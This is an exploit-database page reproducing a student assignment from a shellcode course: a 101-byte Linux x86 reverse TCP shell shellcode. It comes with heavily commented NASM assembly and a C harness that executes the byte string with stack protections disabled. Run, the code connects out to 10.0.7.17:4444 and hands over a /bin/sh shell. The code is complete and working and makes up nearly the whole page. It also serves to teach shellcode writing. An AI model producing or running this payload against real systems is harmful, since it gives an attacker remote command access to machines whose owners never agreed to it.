Lucene search
K

Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)

🗓️ 24 May 2018 00:00:00Reported by Jonathan CrosbyType 
zdt
 zdt
🔗 0day.today👁 36 Views

Reverse Shell TCP Linux/x86, 101 Bytes, Initiate reverse shell to 10.0.7.17:4444/TCP upon executio

Code
/* Name             : Jonathan "Chops" Crosby
 * Email            : [email protected]
 * Twitter          : @securitychops
 * Website          : https://securitychops.com
 * Blog Post        : https://securitychops.com/2018/05/21/slae-assignment-2-reverse-shell-tcp-shellcode.html
 * Student ID       : SLAE-1250
 * Assignment 2     : Reverse Shell TCP (Linux/x86)
 * Shellcode Length : 101 bytes
 * Shellcode Purpose: Initiate a reverse shell back to the ip address / port number on shellcode execution
 *
 * Assembly code to generate shellcode in provided C program:
 
; assemble/link assembly with: 
; nasm -f elf32 -o shellcode.o shellcode.nasm
; ld -o shellcode shellcode.o
 
global _start
 
section .text
_start:
 
; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
; 
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into 
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; ----- 
; Param Values: 
;   #define AF_INET     2   // Internet IP Protocol
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   // stream (connection) socket
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used. 
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall:
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; push params to the stack last first
 
xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack
 
mov ecx, esp     ; moving address of parameter structure into ecx 
 
xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax
 
xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx
 
int 0x80         ; calling interupt which triggers socketcall
 
; registers after calling socktcall
 
; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/
 
; eax now contains our socketid, since eax is volitale 
; lets put it somewhere safe, like esi
 
xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi
 
; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/
 
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
;   socketid         // currently stored in esi
;   
;   &serverAddress   // memory on the stack for sockaddr
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html 
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;        
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; // address family: AF_INET
;         in_port_t      sin_port;   // port in network byte order
;         struct in_addr sin_addr;   // internet address
;                   // Internet address.
;                   struct in_addr {
;                       uint32_t   s_addr; // address in network byte order
;                };
;
;     sa_family_t
;       #define AF_INET     2   // Internet IP Protocol
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;     
;     in_port_t // port in network byte order / big endian
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr // uint32_t ia 4 bytes
;       ip bound to will be XXX.XXX.XXX.XXX
;       ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
;   sizeof(serverAddress)   // this value represents bytes, so 4 bytes is 32bits
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x03  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/
 
; we need to create the first stack pointer for sockaddr_in
 
xor edx, edx
 
push edx
 
mov byte [esp]  , 0x0a   ; 10
mov byte [esp+2], 0x07   ; 07
mov byte [esp+3], 0x11   ; 17
 
                         ; mov byte [esp+1], 0x00 left out on purpose since
                         ; this would put 0x00 in the final shellcode, which
                         ; is generally considered bad practice since null
                         ; tends to cause issues when executing
 
push word  0x5C11     ; port number (0x115C is 4444 so we push little endian)
 
push word  0x02       ; AF_INET - which is 0x02
 
mov ecx, esp        ; move stack pointer to ecx
 
push byte 0x10      ; 16 byts long (or 32bit)
 
push ecx            ; pushing sockaddr_in into esp
 
push esi            ; sockid already in esi, so pushing it
 
mov ecx, esp        ; moving stack pointer to ecx
 
; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2
inc ebx         ; and from 2 to 3
 
xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax
 
int 0x80            ; calling interupt which triggers socketcall
 
; registers after calling socktcall
 
; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  uneeded  |  |   0x03  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/
 
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   clientid                        // currently stored in eax
;
;   localDiscripToDuplicate         // 0, 1, 2 file descriptors to duplicate
; -----
; Registers before calling dup2: 
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
 
mov ebx, esi        ; moving socketid from eax to ebx
 
                    ; now we need a loop to run through for
                    ; 0, 1 and 2
 
xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2
 
dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again
 
; registers after calling socktcall
; 
; since we don't care about any return values
; we don't bother tracking register values
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   filename     // path of elf32 to execute
;
;   argv         // standard argv, first param is full path to elf32 null terminated
;
;   envp         // any environmental specific things, null in our case
; -----
; Registers before calling execve: 
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it
 
; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)
 
; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp
 
xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx
 
mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into 
                ; the third parameter in edx
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack
 
push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
  
*/
 
#include<stdio.h>
#include<string.h>
 
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
 
unsigned char code[] = \
"\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x96\x31\xd2\x52\xc6\x04\x24\x0a\xc6\x44\x24\x02\x07\xc6\x44\x24\x03\x11\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x43\x31\xc0\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation